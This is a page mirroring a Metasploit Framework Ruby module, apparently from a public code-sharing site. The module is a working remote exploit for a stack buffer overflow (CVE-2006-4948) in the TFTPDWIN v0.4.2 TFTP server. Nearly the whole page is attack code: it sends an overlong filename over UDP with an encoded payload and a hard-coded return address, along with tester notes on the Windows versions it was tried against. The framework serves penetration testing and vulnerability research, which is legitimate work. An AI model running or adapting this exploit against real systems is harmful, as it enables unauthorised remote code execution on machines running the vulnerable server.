Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
rapid7
GitHub Repository: rapid7/metasploit-framework
Path: blob/master/modules/exploits/windows/tftp/tftpdwin_long_filename.rb
19850 views
1
##
2
# This module requires Metasploit: https://metasploit.com/download
3
# Current source: https://github.com/rapid7/metasploit-framework
4
##
5
6
class MetasploitModule < Msf::Exploit::Remote
7
Rank = GreatRanking
8
9
include Msf::Exploit::Remote::Udp
10
11
def initialize(info = {})
12
super(
13
update_info(
14
info,
15
'Name' => 'TFTPDWIN v0.4.2 Long Filename Buffer Overflow',
16
'Description' => %q{
17
This module exploits the ProSysInfo TFTPDWIN threaded TFTP Server. By sending
18
an overly long file name to the tftpd.exe server, the stack can be overwritten.
19
},
20
'Author' => [ 'aushack' ],
21
'References' => [
22
[ 'CVE', '2006-4948' ],
23
[ 'OSVDB', '29032' ],
24
[ 'BID', '20131' ],
25
[ 'EDB', '3132' ],
26
],
27
'DefaultOptions' => {
28
'EXITFUNC' => 'process',
29
},
30
'Payload' => {
31
'Space' => 284,
32
'BadChars' => "\x00",
33
'StackAdjustment' => -3500,
34
},
35
'Platform' => 'win',
36
'Targets' => [
37
# Patrick - Tested OK 2007/10/02 w2ksp0, w2ksp4, xpsp0, xpsp2 en
38
[ 'Universal - tftpd.exe', { 'Ret' => 0x00458b91 } ] # pop edx / ret tftpd.exe
39
],
40
'Privileged' => false,
41
'DisclosureDate' => '2006-09-21',
42
'DefaultTarget' => 0,
43
'Notes' => {
44
'Reliability' => UNKNOWN_RELIABILITY,
45
'Stability' => UNKNOWN_STABILITY,
46
'SideEffects' => UNKNOWN_SIDE_EFFECTS
47
}
48
)
49
)
50
51
register_options(
52
[
53
Opt::RPORT(69),
54
], self
55
)
56
end
57
58
def exploit
59
connect_udp
60
61
print_status("Trying target #{target.name}...")
62
sploit = "\x00\x02" + payload.encoded + [target['Ret']].pack('V')
63
sploit << "netascii\x00" # The first null byte is borrowed for the target return address :)
64
udp_sock.put(sploit)
65
66
disconnect_udp
67
end
68
end
69
70